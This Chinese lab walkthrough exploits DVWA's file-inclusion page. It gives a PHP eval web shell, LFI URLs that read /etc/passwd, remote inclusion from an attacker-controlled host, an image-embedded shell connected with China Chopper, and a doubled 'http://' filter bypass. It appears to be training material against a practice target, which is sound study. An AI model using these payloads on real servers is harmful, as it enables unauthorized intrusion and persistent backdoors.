文件包含渗透
注:打开shell.php的文件,并写入<?php eval($_POST[pass]);?>
就在本地生成了一句话木马,然后就可以通过菜刀这样的工具连接木马。
本地文件包含LFI:(首先需要上传文件,才能修改=后面的文件)
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=xs.txt
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=c.php
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=/etc/passwd
远程文件包含RFI:(被包含文件在第三方服务器)
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server(服务器)/xs.txt
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server/c.php
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server/etc/passwd
图片木马:上传后,图片是可执行的,执行并生成webshell,相当于图片木马只是一个中间过程。
文件包含(漏洞):
是指当服务器开启 allow_url_include选项时,就可以通过php的某些特定函数(include(),require(),include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源严格审查,就会导致任意文件读取或者任意命令执行。远程文件包含是因为开启了php配置中的allow_url_include选项,此选项开启后,服务器允许包含一个远程文件。
进入后,输入/upload,
回车
我们可以看出
最大上传文件是2M;
最多能上传20个;
重点是allow_url_include 与allow_url_fopen 是开启的,开启文件包含的。
步骤:
- 低安全级别渗透:
1.1首先我们进入靶机,file inclusion 就是文件包含。
路径是
我们看看这个路径下有什么文件。
我们在此目录下创建个xs.txt文件。
我们把路径后面的文件改为xs.txt,发现首页上出现了文件的内容xsxsxs
地址本来是:
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=xs.txt
因为是首页,所以index.php就默认省略了。
也就是说,我们现在访问的是index.php文件,但是把xs.txt文件包含进来了,所以里面的代码也在首页上被执行了。
我们写个php文件,然后包含进去。
Php内容:
包含后,额外显示出了php文件执行后的页面,首页接在下面。
后面也可以加路径,显示路径下的文件。
注:我们包含的文件必须有读的权限,不然就算包含了也无法显示。
1.2 本地文件包含+webshell
- 制作一张 一句话图片木马 ha.jpg
- 上传图片木马文件。
- 执行文件包含并生成后门。
- 通过菜刀连接webshell
提示:
/var/www/dvwa/hackable/uploads //文件上传访问目录 ha.jpg
/var/www/dvwa/vulnerabilities/fi //文件包含访问目录 shell20.php
我们先找一找较小的图片,先上传上去;成功后再查看。
目录下有这张图,上传成功。
上传后我们先删掉这个文件,因为后面我们要上传木马文件,文件名重复了,也可以给木马文件改名,这里我们先删掉。
然后我们使用edjpgcom.exe工具。将图片拖进工具里。
将内容写入
然后我们将图片木马传上去,显示成功。
我们在图片路径下查看;
接下来我们得让代码执行。
我们切换到文件包含页面下;=后面跟文件上传路径。
但是我的页面是空白的。
按道理来讲,页面会乱码,就会在文件包含路径下生成shell20.php,然后就连接菜刀。
地址:
http://192.168.40.108/dvwa/vulnerabilities/fi/shell20.php 密码:cmd
1.3 远程文件包含+webshell
我们先在自己的服务器或者网站下写好文件,我们这里在windows server2008r2上使用serv-u服务器。Ip:192.168.40.106,我们在服务器首页目录下写一个txt文件。
我们在本机上查看
目录下上有的。
我们在打开靶机,点到文件包含页面,路径跟192.168.40.106/yh.txt
然后我们上靶机,查看是否文件包含成功。发现有shell20.php文件。(在自己服务器或者网站上写文件也可以是php格式,不一定只能是txt)
我们再看看php文件是不是有内容。
有的,接下来我们用菜刀连接。
2. 中安全级别渗透**:**
我们将级别调到中级,查看后端源码。
我们发现它会把我们的http://或者https:// 给替换掉成null
2.1本地文件包含
中安全级别对本地文件包含没有问题。
2.2远程文件包含+webshell
我们还是先创建个含有木马的txt文件yh1,先查看是否有,然后去包含。
我们查看靶机是否生成了php文件,发现没有。
我们之前查看了源码,可以发现它是把我们的http:// 给吞了。
我们尝试路径为 httphttp://😕/192.168.40.106/yh1.txt
(hthttp://tp://192.168.40.106/yh1.txt)只有保证它是烂的就行。
它给我们去掉了一套,我们还有一套,然后靶机就有了php文件。(这个要多尝试,才能成功,这里是给了我们源码才看出来的)
然后就可以连接菜刀了。
3.高安全级别渗透:
3.1本地文件包含
因为后面跟的不是include.php,所以是not found。
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。
不能爬取的目录。